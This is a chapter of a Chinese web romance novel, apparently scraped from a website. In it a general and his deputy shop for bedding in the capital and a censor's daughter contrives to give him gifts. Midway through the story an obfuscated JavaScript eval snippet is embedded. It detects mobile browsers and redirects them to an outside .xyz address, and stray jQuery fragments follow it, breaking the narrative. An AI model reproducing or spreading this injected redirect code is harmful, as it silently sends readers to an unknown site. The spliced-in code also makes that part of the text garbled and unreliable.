29. 御史大夫之女的礼物

作品:《替嫁后冷面将军他真香了

    不多时,两位风格迥异却同样惹眼的青年将军,便出现在了汐京最繁华的海晏街之上。


    晨光熹微,许多商铺尚未卸下门板,长街略显冷清。


    宋凛川带着陆时在一家名为“云锦阁”的既售成衣、亦卖高档寝具的铺子前停下脚步,却见店门紧闭,匾额下的营业水牌尚未翻转。


    陆时打着哈欠,睡眼惺忪地揉了揉眼睛,又仰头看了看刚刚升起的日头,再扭头看向身旁一脸“肃杀”、仿佛不是来逛街而是来攻城的宋凛川,顿时悲从中来。


    “不是吧,我的大将军!”他几乎要跳起来,语气里充满了难以置信的委屈,“您天不亮就把我从被窝里薅起来,一路疾行,就为了来这云锦阁门口罚站?!


    您可知现下是什么时辰?这‘云锦阁’素来招待女客,向来是巳时三刻才开门迎客的!人家掌柜娘子怕是还在梳妆呢!”


    宋凛川:“...”


    他竟忘了军旅作息与寻常市井自是不同。


    于是他面色绷得更紧,心下那点因“逃避”而起的尴尬愈发明显。


    陆时揉着被温砚扎过还隐隐作痛的虎口,哀怨道:“咱们俩大老爷们,杵在这儿跟两尊门神似的,算怎么回事?不如先去前头摊子上垫垫肚子,晚些时候再来?那家胡记的羊肉汤和芝麻饼可是一绝!”


    宋凛川负手而立,目光看似随意地扫过街景,实则浑身不自在。


    他能清晰地感受到,已有早起的行人或邻近商铺的伙计,向他们投来好奇与探究的目光。


    他最终含糊地“嗯”了一声,算是同意。


    胡记早点铺子生意极好,店内早已座无虚席,唯有店外支着的几张简陋小桌尚有空位。


    宋凛川若亮出身份,老板自然能腾出最好的位置,但他素来不屑以势压人,更遑论与民争利。


    二人只得寻了处稍僻静的角落,蜷在矮凳上,瞧着颇有几分委屈。


    恰在此时,一辆装饰雅致的马车缓缓驶过街口。


    车帘微掀,露出一双沉静明澈的眼眸——此人正是掌监察的御史大夫之女,柳轻眉。


    她今日恰来巡视家中位于此街的产业,一眼便在人群中锁定了那个她倾心了五年的身影。


    自五年前宋凛川叛锦归沧,首次踏入御史府拜会她父亲那日起,他那份于杀伐决断中淬炼出的冷峻气质,又胸有韬略、不似寻常武夫般粗鄙,便似一粒种子,落入她心湖,悄然生根。


    柳轻眉自有京城贵女的骄傲与分寸。


    心悦一人,她便主动接近,投其所好,与他论兵法、谈时政,送上精心挑选却绝不逾矩的节礼,却绝不会死缠烂打,行那等自降身份、惹人生厌之事。


    她将那份好感控制在恰到好处的范围,似有还无,仿佛只是世家子弟间的寻常往来。


    若对方有意,自是心照不宣;


    若对方无意,也绝不会让彼此难堪,徒留“自作多情”的笑柄,累及父亲清名。


    也正因这份聪明与尺度,宋凛川虽心知肚明,却始终寻不到由头明确拒绝,只能维持着这份表面和谐的“来往”,也让外界关于他们的流言始终未曾断绝。


    昨日国公府补办婚仪,请柬送至府中,她心中酸涩难抑,无法亲眼见证他迎娶他人,最终称病未去,也拦下了父亲。


    此刻见宋凛川并非与新婚妻子携手同游,身旁只跟着那个跳脱的副将陆时,她心下莫名安定了些许。


    柳轻眉命车夫缓行,悄然吩咐丫鬟几句,马车便停在了早点铺对面一家茶楼的侧巷。


    她并未立即上前,而是移步至茶楼二楼雅间,凭窗而坐,目光却始终未曾离开楼下那二人。


    他既已成婚,她便需避嫌。


    若此时凑上前去,落在旁人眼中,岂非她柳轻眉在新婚第二日便迫不及待地纠缠有妇之夫?


    御史府千金的脸面与父亲的官声,容不得半分轻慢!


    直至“云锦阁”卸下门板,柳轻眉见宋凛川二人步入,又耐心等了一盏茶的功夫,这才优雅起身,理了理裙裾,带着丫鬟,不疾不徐地走向云锦阁,仿佛真是恰巧路过,兴起而入。


    店内,陆时随宋凛川来到摆放抱枕的区域后,便挤眉弄眼,语气也变得贼兮兮:“将军,您突然对这软枕感兴趣...莫非是昨夜嫂嫂嫌弃您硌得慌?”


    宋凛川耳根微不可察地泛红,冷声道:“多嘴。”


    陆时立刻做了个给嘴巴上拉链的动作,但那双滴溜溜转的眼睛里,依旧写满了“我懂了”的促狭笑意。


    他转而拿起一只绣着憨态可掬小老虎的抱枕往宋凛川怀里塞:“将军,你看这个如何?虎头虎脑,配您这‘大沧战神’的威风,可爱的勒...”


    话未说完,便被宋凛川一记冷眼和无声的杀气逼退,“少废话,赶紧挑点正经的。”


    最终,陆时只得委屈巴巴地为宋凛川选中了一个玄色暗云纹、毫无装饰的实用款,还顺带给自己挑了个靛蓝色祥云纹的,又给顾云峥和宋凛薇各选了些女儿家喜欢的柔软精巧款式。


    唯独,没有谢熙宁的份。


    (陆时:不是我不挑!是将军不让我挑!别冤枉我哦!)


    正当二人准备结账时,一道清柔婉转的女声自身后响起:“宋将军?陆副将?真巧。”


    宋凛川身形一僵,转身便见柳轻眉带着丫鬟,笑吟吟地站在不远处,目光清澈,仿佛真是意外相逢。


    “柳小姐。”宋凛川颔首,语气平淡无波。


    陆时也赶忙收敛嬉笑,抱拳行礼。


    柳轻眉目光掠过两人怀中的软枕,瞬间便“明白”了——定是那新夫人娇气,睡不惯沧国的枕头,辗转反侧,累得宋凛川也无法安眠,这才迫使他新婚第二日便亲自出来采买!


    她眼中极快地掠过一丝复杂情绪,一股酸涩的妒意涌上心头,但她面上笑容却愈发温婉:“将军可是在选购寝具?恕轻眉多嘴,这女儿家的心思,有时并非一个软枕便能安抚。若是睡眠不安,多是心绪不宁所致。”


    她莲步轻移,走近些许,语气温和:“肌肤所触、鼻息所闻,皆会影响心境。将军若不介意,轻眉或可参详一二?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389390|184110||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不等宋凛川开口拒绝,她已从容不迫地对掌柜吩咐道:“将前几日贵号刚从锦国运抵的那批‘流光云锦’取来瞧瞧。要浸过‘幽昙香露’的那批。”


    谁不知柳家小姐是店中贵客,眼光毒辣,出手阔绰?


    掌柜闻言,自是连连应声去取。


    很快,一匹流光溢彩、触手冰凉滑腻的锦缎呈上,在光线下泛着柔和光泽,隐隐有清冷幽香袭来。


    “将军请看,”柳轻眉指尖轻抚料子,“此锦产自锦国苏郡,一年所得不过十匹,其丝线以古法浸泡‘幽昙花’液,自带清雅冷香,经年不散。宫中太医曾言,此香于宁神静心颇有奇效,贴身穿着最是养肤静心。


    尊夫人远道而来,心绪浮动,难免寝不安席。以此锦裁作寝衣,或比寻常抱枕更见效验。”


    宋凛川眉头微蹙:“柳小姐费心,不必...”


    “将军莫要推辞。”柳轻眉轻轻打断,笑容无懈可击,“昨日轻眉身子不适,未能亲至道贺,已是失礼,区区薄礼,不成敬意。


    再者,这云锦虽产自锦国,却需我沧国‘幽昙花’方能成就其妙,正合两国交好之谊,寓意极佳呢。”她话语轻柔,却句句点在关节上,令人难以拒绝。


    说着,她又侧首对丫鬟低声吩咐:“去隔壁‘凝香斋’,将我之前订的那份名唤‘雪顶含翠’的安神香取来。”


    很快,一个精致的瓷罐被送来,柳轻眉接过,亲自递给宋凛川:“此香以沧北雪线之上的‘雪翠兰’花蕊为主料制成,清气冷冽,宁神效果极佳,宫中贵妃们也常用,与这云锦正是绝配。小女将其一并赠与夫人,愿她早日适应汐京水土。”


    最后,她仿佛才想起什么,继续从随行丫鬟手中接过一个早已备好的精巧木盒,递向宋凛川,笑容无比自然:“瞧我差点忘了正事。家父前日新得了一些上好的徽州老松烟墨,墨色沉静,墨香清心,用于批阅公文、书写奏章最是得宜。


    我知道将军公务繁忙,时常与笔墨打交道,恰巧为了便于送礼,我在马车上常备了几枚。便赠将军一枚,万望莫要推辞,公务之余,亦请保重身体。”


    柳轻眉刻意强调“便于送礼”和“常备”,弱化了特意为之的痕迹,实则却暗示了自己在官场人脉与资源调度上的游刃有余,这是初来乍到的谢熙宁绝无法提供的助力。


    宋凛川看着眼前这接二连三、理由充分得让他无法拒绝的礼物,心下厌烦这种绵里藏针的较量,但他是个聪明人,想到御史大夫的势力,只得淡淡道:“柳大人与柳小姐费心了,宋某在此谢过。”


    柳轻眉见目的达到,便不再纠缠,转而拿起手边两匹颜色不同的丝绦,似有些犹豫,转头自然地问向陆时:“陆副将,你用男人的眼光帮我瞧瞧这藕荷色与竹青色,哪个更衬肤色些?”


    陆时正看热闹,冷不丁被点名,立刻笑嘻嘻道:“柳小姐天生丽质,自然是穿什么都好看!不过这藕荷色嘛,更显娇嫩,竹青色则大气些!”


    柳轻眉抿唇一笑,目光这才落向宋凛川,仿佛只是寻常征求更多意见:“宋将军以为呢?”